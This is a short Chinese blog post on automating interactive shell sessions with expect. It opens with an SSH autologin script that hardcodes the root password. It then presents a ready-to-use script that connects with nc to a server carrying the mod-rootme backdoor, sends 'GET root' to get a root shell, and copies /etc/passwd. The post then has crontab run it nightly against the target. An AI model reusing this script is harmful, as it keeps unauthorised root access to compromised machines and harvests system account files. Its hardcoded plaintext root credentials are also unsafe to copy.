linux bash shell 自动交互填写信息、命令

先来看一个自动登陆ssh的例子:

#!/usr/bin/expect
spawn ssh root@192.168.10.110
expect "password:"
send "root\n"
expect eof
send "ls\n"
expect eof
send "exit\n"
expect eof
exit

比如在一台机器上装了mod-rootme,想定时登陆目标执行一些命令,照葫芦画瓢,可以写一个自动交互的脚本,借用crontab定时执行:
先安装expect

//centOS
yum -y install expect
//Debian
apt-get install expect

具体的expect路径用whereis expect查看,然后修改脚本。

下面的nc是debian下的netcat。
centOS上的nc连接目标端口成功后返回的是“succeeded”这些标识,自行修改。
脚本:

#!/usr/bin/expect
set timeout 100
spawn nc -vv 127.0.0.1 80
expect "*http] succeeded*"    #这是debian下的netcat连接成功返回的信息
send "GET root\r\n"
expect "*welcome info*"      #成功获取权限的提示信息
send "cat /etc/passwd > /tmp/ssss ; ls -l /etc/passwd\r"
expect "*passwd*"
send "exit\r"
expect eof
#interact
exit

保存为xxxx.sh

创建crontab任务:

crontab -e

每天夜里2点自动执行

0       2       *       *       *       /path/xxxx.sh &
上一篇
下一篇